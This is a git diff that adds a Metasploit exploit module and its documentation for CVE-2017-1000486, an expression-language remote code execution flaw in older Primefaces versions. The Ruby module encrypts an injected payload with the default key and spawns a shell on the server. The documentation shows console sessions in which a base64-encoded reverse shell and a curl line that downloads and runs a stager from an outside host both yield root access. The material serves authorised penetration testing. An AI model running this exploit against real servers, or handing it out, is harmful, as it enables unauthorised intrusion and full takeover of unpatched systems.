diff --git a/documentation/modules/exploit/multi/http/primefaces_weak_encryption_rce.md b/documentation/modules/exploit/multi/http/primefaces_weak_encryption_rce.md new file mode 100644 index 000000000000..39bb3299ddeb --- /dev/null +++ b/documentation/modules/exploit/multi/http/primefaces_weak_encryption_rce.md @@ -0,0 +1,104 @@ +## Vulnerable Application + +This module exploits an expression language remote code execution flaw in the Primefaces JSF framework. +Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, +due to the use of weak crypto and default encryption password and salt. + +Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. The following payloads worked in the docker image: + +* `payload/cmd/unix/reverse_jjs` +* `payload/cmd/unix/reverse_openssl` +* `payload/cmd/unix/reverse_perl` +* `payload/cmd/unix/reverse_python` +* `payload/cmd/unix/reverse_python_ssl` + +### Docker Image + +1. `git clone https://github.com/pimps/CVE-2017-1000486` +2. `cd CVE-2017-1000486/` +3. `docker build . -t primefaces` +4. `docker run -p 8090:8080 -t primefaces` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/multi/http/primefaces_weak_encryption_rce` +1. Do: `set rhosts ` +1. Do: `set verbose true` +1. Do: `set payload payload/cmd/unix/reverse_jjs` +1. You should get a shell. + +## Options + +### PASSWORD + +The password to login. Defaults to `primefaces` + +## Scenarios + +### Docker image with Tomcat 7.0 with the Primefaces 5.2 Showcase application + +CMD payload + +``` +msf6 > use exploit/multi/http/primefaces_weak_encryption_rce +[*] No payload configured, defaulting to cmd/unix/reverse_netcat +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090 +rport => 8090 +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true +verbose => true +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload payload/cmd/unix/reverse_jjs +payload => cmd/unix/reverse_jjs +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit + +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Victim evaluates Expression Language expressions +[*] Attempting to execute: echo ZWNobyAiZXZhbChuZXcgamF2YS5sYW5nLlN0cmluZyhqYXZhLnV0aWwuQmFzZTY0LmRlY29kZXIuZGVjb2RlKCdkbUZ5SUZCeWIyTmxjM05DZFdsc1pHVnlQVXBoZG1FdWRIbHdaU2dpYW1GMllTNXNZVzVuTGxCeWIyTmxjM05DZFdsc1pHVnlJaWs3ZG1GeUlIQTlibVYzSUZCeWIyTmxjM05DZFdsc1pHVnlLQ0l2WW1sdUwzTm9JaWt1Y21Wa2FYSmxZM1JGY25KdmNsTjBjbVZoYlNoMGNuVmxLUzV6ZEdGeWRDZ3BPM1poY2lCemN6MUtZWFpoTG5SNWNHVW9JbXBoZG1FdWJtVjBMbE52WTJ0bGRDSXBPM1poY2lCelBXNWxkeUJ6Y3lnaU1TNHhMakV1TVNJc05EUTBOQ2s3ZG1GeUlIQnBQWEF1WjJWMFNXNXdkWFJUZEhKbFlXMG9LU3h3WlQxd0xtZGxkRVZ5Y205eVUzUnlaV0Z0S0Nrc2MyazljeTVuWlhSSmJuQjFkRk4wY21WaGJTZ3BPM1poY2lCd2J6MXdMbWRsZEU5MWRIQjFkRk4wY21WaGJTZ3BMSE52UFhNdVoyVjBUM1YwY0hWMFUzUnlaV0Z0S0NrN2QyaHBiR1VvSVhNdWFYTkRiRzl6WldRb0tTbDdkMmhwYkdVb2NHa3VZWFpoYVd4aFlteGxLQ2srTUNsemJ5NTNjbWwwWlNod2FTNXlaV0ZrS0NrcE8zZG9hV3hsS0hCbExtRjJZV2xzWVdKc1pTZ3BQakFwYzI4dWQzSnBkR1VvY0dVdWNtVmhaQ2dwS1R0M2FHbHNaU2h6YVM1aGRtRnBiR0ZpYkdVb0tUNHdLWEJ2TG5keWFYUmxLSE5wTG5KbFlXUW9LU2s3YzI4dVpteDFjMmdvS1R0d2J5NW1iSFZ6YUNncE8wcGhkbUV1ZEhsd1pTZ2lhbUYyWVM1c1lXNW5MbFJvY21WaFpDSXBMbk5zWldWd0tEVXdLVHQwY25sN2NDNWxlR2wwVm1Gc2RXVW9LVHRpY21WaGF6dDlZMkYwWTJnb1pTbDdmWDA3Y0M1a1pYTjBjbTk1S0NrN2N5NWpiRzl6WlNncE93PT0nKSkpOyJ8ampz|((command -v base64 >/dev/null && (base64 --decode || base64 -d)) || (command -v openssl >/dev/null && openssl enc -base64 -d))|sh +[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:54104) at 2024-11-14 11:31:01 -0500 + +whoami +root +``` + +fetch payload + +``` +msf6 > use exploit/multi/http/primefaces_weak_encryption_rce +[*] No payload configured, defaulting to cmd/unix/reverse_netcat +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090 +rport => 8090 +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true +verbose => true +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit + +[*] Command to run on remote host: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD & +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Victim evaluates Expression Language expressions +[*] Attempting to execute: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD & +[*] Client 172.17.0.2 requested /aZRe4yWUN3U2-lDtdsaGlA +[*] Sending payload to 172.17.0.2 (curl/7.64.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.2:44312) at 2024-11-14 12:04:14 -0500 + +meterpreter > sysinfo +Computer : 172.17.0.2 +OS : Debian 10.10 (Linux 6.11.2-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +``` \ No newline at end of file diff --git a/modules/exploits/multi/http/primefaces_weak_encryption_rce.rb b/modules/exploits/multi/http/primefaces_weak_encryption_rce.rb new file mode 100644 index 000000000000..adb0f2ccc958 --- /dev/null +++ b/modules/exploits/multi/http/primefaces_weak_encryption_rce.rb @@ -0,0 +1,142 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Primefaces Remote Code Execution Exploit', + 'Description' => %q{ + This module exploits a Java Expression Language remote code execution flaw in the Primefaces JSF framework. + Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, + due to the use of weak crypto and default encryption password and salt. + + Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See + documentation for working payloads. + }, + 'Author' => [ + 'Bjoern Schuette', # EDB + 'h00die' # lots of fixes, documentation, standardization + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2017-1000486'], + ['URL', 'https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'], + ['URL', 'https://web.archive.org/web/20180515174733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces'], + ['URL', 'https://schuette.se/2018/01/17/cve-2017-1000486-in-your-primeface/'], + ['URL', 'https://github.com/primefaces/primefaces/issues/1152'], + ['URL', 'https://github.com/pimps/CVE-2017-1000486/tree/master'], + ['EDB', '43733'] + ], + 'Payload' => { + 'BadChars' => '"\'\\' # all threw errors + }, + 'Privileged' => true, + 'DisclosureDate' => '2016-02-15', + 'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'], + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ + 'Universal', {}, + ], + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [] + } + ) + ) + + register_options([ + Opt::RPORT(80), + OptString.new('PASSWORD', [ true, 'The password to login', 'primefaces']), + OptString.new('TARGETURI', [true, 'The base path to primefaces', '/']) + ]) + end + + def encrypt_el(password, payload) + # el == Java Expression Language + salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*') + iteration_count = 19 + + cipher = OpenSSL::Cipher.new('DES') + cipher.encrypt + cipher.pkcs5_keyivgen password, salt, iteration_count + + ciphertext = cipher.update payload + ciphertext << cipher.final + ciphertext + end + + def http_send_command(payload_wrapper) + encrypted_payload = encrypt_el(datastore['PASSWORD'], payload_wrapper) + encrypted_payload = Rex::Text.encode_base64(encrypted_payload) + + # send the payload and execute command + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'javax.faces.resource', 'dynamiccontent.properties.xhtml'), + 'vars_post' => { + 'pfdrt' => 'sc', + 'ln' => 'primefaces', + 'pfdrid' => encrypted_payload + } + }) + + res + end + + def exploit + cmd = payload.encoded + + # good for testing + # cmd = "whoami" + # error logs will show + # Nov 13, 2024 7:10:32 PM org.primefaces.application.resource.StreamedContentHandler handle + # SEVERE: Error in streaming dynamic resource. Cannot call sendError() after the response has been committed + payload_wrapper = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}' + payload_wrapper << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}' + payload_wrapper << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}' + payload_wrapper << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}' + payload_wrapper << '${session.getAttribute("scriptengine").eval(' + payload_wrapper << '"var os = java.lang.System.getProperty(\"os.name\");' + payload_wrapper << 'var proc = null;' + payload_wrapper << 'os.toLowerCase().contains(\"win\")? ' + payload_wrapper << "proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"cmd.exe\\\",\\\"/C\\\",\\\"#{cmd}\\\"]).start()" + payload_wrapper << " : proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"/bin/sh\\\",\\\"-c\\\",\\\"#{cmd}\\\"]).start();" + payload_wrapper << 'var is = proc.getInputStream();' + payload_wrapper << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";' + payload_wrapper << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}' + payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().flush()}' + payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().close()}' + + vprint_status("Attempting to execute: #{cmd}") + res = http_send_command(payload_wrapper) + fail_with(Failure::UnexpectedReply, 'Internal server error. Payload may be incompatible.') if res&.code == 500 + # successful exploitation gives us no response + end + + def check + marker = rand_text_alpha_lower(5..9) + # https://github.com/Pastea/CVE-2017-1000486/blob/main/exploit.py#L135C14-L135C92 + # payload_wrapper = '${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}' + payload_wrapper = "${facesContext[\"getExternalContext\"]()[\"setResponseHeader\"](\"#{marker}\", \"#{marker}\")}" + + res = http_send_command(payload_wrapper) + return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil? + return Exploit::CheckCode::Vulnerable('Victim evaluates Java Expression Language expressions') if res.headers && res.headers[marker] == marker + + Exploit::CheckCode::Safe('Server does not process Java Expression Language expressions, likely not vulnerable') + end + +end